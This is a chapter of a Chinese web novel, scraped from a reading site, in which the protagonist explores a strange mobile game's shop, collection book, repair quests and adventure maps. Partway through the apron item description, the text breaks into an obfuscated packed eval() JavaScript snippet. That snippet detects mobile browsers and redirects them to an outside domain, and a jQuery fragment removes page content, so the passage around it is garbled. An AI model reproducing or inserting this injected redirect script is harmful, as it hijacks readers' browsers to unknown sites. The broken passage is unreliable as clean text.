默认冷灰
24号文字
方正启体

3. 游戏玩法

作者:栖光鹿本书字数:K更新时间:
    白简盯着屏幕,黑暗中,手机成了唯一的光源。


    小粉兔瞪大着紫色眼睛望着他,耳朵轻轻颤了颤;阿团则歪着它棕色的毛脑袋,短尾巴蹭在碎石上,坐姿摇摇晃晃,一副随时要滚走的样子。


    “这游戏删不掉,电又不知猴年马月才来……行吧,反正闲着也是闲着。”他有点自暴自弃地嘀咕道,指尖在屏幕上戳了戳,“老子倒要看看,你这破游戏还能整什么活?”


    “先摸摸你这游戏的底细。”他嘟囔着,戳开了主界面上的【商城】按钮。


    唰!


    商城界面弹出,出乎意料地干净。


    货架上稀稀拉拉地排列着几个图标:召唤卷轴包、建筑图纸、奇怪的种子、发光的粉尘……但每一个图标都像是蒙上了一层抹不掉的顽固老灰!旁边还盖着一个醒目的提示:【暂未上架】。


    “嚯?这是内测版?”白简挑了挑眉。


    难怪没有充值渠道!


    这太常见了!肯定是游戏还在测试阶段,付费功能没开呢。


    “啧,搞这么神秘,以后开充值不得狠狠宰一刀?”他想起之前玩过的那些游戏,都是这个套路。


    不过是游戏就有氪金,这很正常。


    他退出商城。


    下一个,图鉴!点开!


    一本厚重的紫皮魔法书突然浮现,书页哗啦哗啦自己展开。只有那俩小家伙的形象的有颜色,小粉和阿团笑得阳光灿烂,占据了两个格子。


    后面的全是阴森森、谜团一样的黑色剪影!奇形怪状,飞禽走兽……什么都有,却看不清是到底是什么!


    白简的目光迅速被图鉴右上角一串醒目的数字吸引:【已收集:2/108】。


    “108只……?”


    作为一个从口袋妖怪时代就发誓要填满所有图鉴的老牌收集控,这个数字不偏不倚,精准地戳中了他灵魂深处的某个开关。一股滚烫的、熟悉的填坑冲动猛地顶了上来,把对游戏那点警惕“咚”一下冲到了犄角旮旯。


    想起来了!之前小粉抹眼泪时就提过108只!搞半天是这个图鉴啊!


    他一页页翻着,看着那些奇怪的黑影,忍不住想这乐园的“战争”到底是怎么打的?翻到图鉴末尾,一个比其他按键大了一圈、还隐隐发光的巨大按钮跳入眼帘:


    【召唤乐园守护者(永久)】。


    “守护者?”白简心里嘀咕着,手快过脑子点了下去。


    按钮纹丝不动,却猛地弹出一条血红色边框的提示:【警告!此操作将消耗108位伙伴之力,彻底封印乐园灾厄之源!请集齐所有伙伴后再尝试召唤!】


    灾厄之源?封印?


    白简愣住了。


    战争,乐园……这片废墟的元凶……原来这些毛茸茸的小东西不只是卖萌的,是曾经打生打死对抗过这所谓的“灾厄”?那自己这收集图鉴的行为,岂不是说明到时候还会有战争?


    一股混杂着解开秘密的兴奋和沉甸甸的责任爬上后背。


    “这游戏水挺深啊……”他眯起眼,不自觉地压低了声音,之前的抗拒又被好奇心悄悄挖掉一角。没人能拒绝一个带着重大背景故事的收集挑战,尤其对收集控来说。


    他退出图鉴,回到主界面,底部几个按钮,他直接点开了【任务】栏。一个醒目的金色任务挂在最顶上:


    【主线任务:修复乐园的客厅】


    目标:修复客厅破损处(0/5)


    当前惨状:客厅整体损毁度90%!


    可修目标:地板(4处大坑!),沙发(1处塌方!)


    奖励:召唤卷轴x10!】


    十连抽!白简眼睛唰地亮了,奖励诱人,十连抽等于有新伙伴。


    对一个喜欢抽卡的收集控来说,这简直无法拒绝。


    还等什么,开肝!


    白简手指飞快点退出任务,目光投在主界面中央那片巨大的废墟上。


    浓稠的黑暗覆盖了大部分区域,只有可怜的、中间那块小小客厅是亮的。


    地板翘裂得没一块好地方,沙发歪歪扭扭地倒在地上,糊着厚厚一层灰,唯一的人气就是待在那儿笑着的小粉和歪着头的阿团。


    整个场景到处都有巨大的半透明锁头标志,点击锁头,旁边悬浮着文字:【解锁此区域,需消耗10000乐园币。】


    乐园币?


    什么东西?而且数量还那么多。


    看起来不像是现在能解锁的。


    那算了。


    白简指尖在客厅里滑动,视野骤然拉近。废墟的细节瞬间放大。他试着点向一块明显翘起、有巨大裂缝的地板。


    【修复“破损的地板01”


    所需材料:纯净木材x2,星辰粉x2


    提示:可通过现实任务、异界冒险或特殊事件获取材料。】


    原来星辰粉是修复材料啊!


    他又点了点旁边另一块稍小的裂痕地板。


    【修复“破损的地板02”


    所需材料:纯净木材x1,星辰粉x1】


    再点旁边一块。


    【修复“破损的地板03”


    所需材料:纯净木材x2,星辰粉x1】


    接着点向那块倒地的沙发凹陷处。


    【修复“塌陷的沙发靠背”


    所需材料:纯净木材x3,星辰粉x2,韧性藤条x1】


    “好家伙,要的材料还不一样?”白简自言自语道。


    纯净木材和星辰粉是基础,但沙发这种“家具”要求就更高了。


    而现在,他什么都没有。


    一种真实的玩建造游戏的“差材料”焦躁感油然而生。


    现实任务?异界冒险?特殊事件?要从这里面获得材料么?


    他退出修复界面,点开【装扮】。里面孤零零躺着一件物品,他点开详细。


    【勤奋兔工装围裙<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775364|174686||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>对象限定:兔类伙伴


    效果:基础扫除类技能效率提升10%


    “工作服也要有可爱元素!这样干活更有劲啦!”——小粉】


    白简忍不住笑了一下,这小粉还挺可爱的。


    他点击【使用】,然后选中唯一可选的小粉。


    屏幕一闪,小粉身上就多了那件围裙。再次安排小粉打扫客厅,虽然屏幕里的小家伙动作依旧是像素级的可爱抖动,但看着那进度条和废墟消散速度,确实快了那么一丝丝?


    “招募卷轴有了吗?”他点开【招募】。


    那熟悉的召唤界面出现了,卷轴数量显示为:0。


    好吧,果然需要做任务才能获得。


    “等下次获得召唤卷轴一定要攒着!凑十连!”白简握了握拳,“十连抽着可比单抽爽多了!”


    最后,他的目光落在了那个最古怪的【冒险】按钮上。


    这个可是能连接现实的冒险任务。


    他犹豫了一会,深吸一口气,还是点开来了。


    一片熟悉的、线条简洁的俯瞰地图出现,以他家那栋楼为中心,周围几栋楼、小区的主干道、花坛的轮廓清晰可见。


    地图最顶部的倒计时正在跳动:【下次现实冒险开启:17:58:23】。一个红色的任务标记就落在他家楼下主干道某处。


    果然,它能联系现实。


    中午他在公司,地图就是公司的,现在他回家了,地图就是家的。


    这游戏对现实的了解,对他周围的情况,精准的让他后背发凉。


    不过……十七个多小时后才能再触发新任务吗?


    是二十四小时内只能接一个任务?还带冷却CD的?


    白简思考着,突然藏在右上角的小按钮突然吸引了他的注意:【切换异界冒险】。


    “异界?”白简心头猛地一跳。之前那诡异的现实地图算“正常世界”?那这个“异界”是什么?他想到刚刚材料提示的“异界冒险”,几乎没有任何犹豫,立刻点了下去!


    唰——


    地图瞬间变化!


    明亮、清晰、风格截然不同!


    背景变成了奇幻绘本般的蓝天白云。地图被分割成一个个独立的格子关卡,如同最经典的横版冒险游戏!


    每个关卡图标都是一个小巧的迷宫轮廓,上面标着:【1-1初入幽径】、【1-2迷踪林地】、【1-3扭曲根巢】……


    关卡排布简单明了,目前只解锁了1-1,1-2,1-3三个小关。后面都是漆黑的问号,显然需要推进解锁。


    白简愣住了。


    现实冒险是诡异的、无法解释的、锚定他家附近的地图,任务提示精确到令人发指。


    异界冒险是纯粹的、像所有RPG游戏一样的、像素迷宫风格、只存在于数据世界的关卡。


    两个世界,两个地图。这个粉蓝色图标里的游戏,究竟缝合了什么玩意儿?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)